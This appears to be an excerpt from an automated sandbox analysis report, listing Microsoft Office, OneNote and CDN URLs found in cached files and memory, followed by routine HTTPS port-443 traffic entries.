Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: chromecache_273.7.dr	String found in binary or memory: https://pinpointprod.blob.core.windows.net/marketing/Partner_21474836617/Product_42949677398/Asset_e
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: chromecache_295.7.dr, chromecache_278.7.dr, chromecache_311.7.dr, chromecache_346.7.dr, chromecache_381.7.dr, chromecache_320.7.dr	String found in binary or memory: https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE
Source: chromecache_361.7.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://res-dev.cdn.officeppe.net
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://res-dod.cdn.office.net
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://res-dod.cdn.office.net/fluid/dod
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://res-gcch.cdn.office.net
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://res-gcch.cdn.office.net/fluid/gcch
Source: chromecache_282.7.dr, chromecache_259.7.dr	String found in binary or memory: https://res-h3.public.cdn.office.net
Source: chromecache_282.7.dr, chromecache_259.7.dr	String found in binary or memory: https://res-h3.sdf.cdn.office.net
Source: chromecache_238.7.dr, chromecache_303.7.dr, chromecache_288.7.dr, chromecache_371.7.dr	String found in binary or memory: https://res-sdf.cdn.office.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_238.7.dr, chromecache_288.7.dr, chromecache_282.7.dr, chromecache_259.7.dr	String found in binary or memory: https://res.cdn.office.net
Source: chromecache_242.7.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.10.17.1/
Source: chromecache_242.7.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.10.17.1/floodgate.en.bundle.js
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://res.cdn.office.net/mro1cdnstorage/fonts/prod/4.40
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: chromecache_282.7.dr, chromecache_259.7.dr	String found in binary or memory: https://res.sdf.cdn.office.net
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://roaming.edog.officeapps.live.com/rs/v1/settings
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://roaming.officeapps.live.com/rs/v1/settings
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://roaming.officeapps.partner.office365.cn/rs/v1/settings
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://roaming.osi.apps.mil/rs/v1/settings
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://roaming.osi.office.de/rs/v1/settings
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://roaming.osi.office365.us/rs/v1/settings
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://safelinks.protection.outlook.com/api/GetPolicy
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://service.officepy.microsoftusercontent.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://service.powerapps.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://settings.outlook.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://substrate.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: chromecache_273.7.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/suggestions
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://support.office.com/article/7afcb4f3-4aa2-443a-9b08-125a5d692576
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://support.office.com/article/ec43ed03-eb3c-4a10-8d9d-e9e5433c9ed2
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://support.office.com/f1/home?isAgave=true
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://support.office.com/f1/home?isAgave=true&helpid=126385
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://support.office.com/f1/home?isAgave=true&helpid=161255
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://support.office.com/images/inapp-help-icon-32.png
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://support.office.com/images/inapp-help-icon-80.png
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://tasks.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://templatesmetadata.office.net/
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://uci.edog.cdn.office.net/mirrored/smartlookup/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://uciserviceintcdnwus.blob.core.windows.net/mirrored/smartlookup/
Source: chromecache_224.7.dr, chromecache_287.7.dr	String found in binary or memory: https://usc-onenote.officeapps.live.com/o/RemoteUls.ashx
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://useraudit.o365auditrealtimeingestion.manage.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://whiteboard.apps.mil
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://whiteboard.eaglex.ic.gov
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://whiteboard.microsoft.scloud
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://whiteboard.office.com/root/index.fluid.js
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://whiteboard.office365.us
Source: chromecache_317.7.dr, chromecache_226.7.dr	String found in binary or memory: https://wise-m-backup.public.onecdn.static.microsoft/wise/owl/sharedauthclientmsal.39dcdf70a24344361
Source: chromecache_317.7.dr, chromecache_226.7.dr	String found in binary or memory: https://wise.public.cdn.office.net/wise/owl/sharedauthclientmsal.39dcdf70a2434436117b.js
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://word-edit.officeapps.live.com/we/rrdiscovery.ashx
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://www.onenote.com
Source: chromecache_273.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/mathassistant
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=af-ZA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=am-ET&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ar-SA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=as-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=az-Latn-AZ&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=be-BY&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bg-BG&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bn-BD&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bn-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bs-Latn-BA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ca-ES&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ca-ES-valencia&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=cs-CZ&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=cy-GB&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=da-DK&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=de-DE&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=el-GR&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=en-US&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=es-ES&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=et-EE&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=eu-ES&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fa-IR&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fi-FI&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fil-PH&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fr-FR&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ga-IE&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gd-GB&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gl-ES&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gu-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ha-Latn-NG&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=he-IL&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hi-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hr-HR&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hu-HU&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hy-AM&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=id-ID&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ig-NG&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=is-IS&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=it-IT&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ja-JP&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ka-GE&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kk-KZ&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=km-KH&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kn-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ko-KR&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kok-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ku-Arab-IQ&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ky-KG&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lb-LU&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lt-LT&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lv-LV&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mi-NZ&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mk-MK&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ml-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mn-MN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mr-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ms-MY&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mt-MT&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nb-NO&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ne-NP&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nl-NL&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nn-NO&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nso-ZA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=or-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pa-Arab-PK&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pa-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pl-PL&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=prs-AF&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pt-BR&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pt-PT&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=quz-PE&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ro-RO&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ru-RU&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=rw-RW&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sd-Arab-PK&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=si-LK&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sk-SK&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sl-SI&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sq-AL&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Cyrl-BA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Cyrl-RS&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Latn-RS&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sv-SE&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sw-KE&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ta-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=te-IN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tg-Cyrl-TJ&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=th-TH&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ti-ET&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tk-TM&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tn-ZA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tr-TR&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tt-RU&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ug-CN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=uk-UA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ur-PK&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=uz-Latn-UZ&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=vi-VN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=wo-SN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=xh-ZA&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=yo-NG&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zh-CN&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zh-TW&temporaryLocalization=true
Source: chromecache_443.7.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zu-ZA&temporaryLocalization=true
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://www.yammer.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
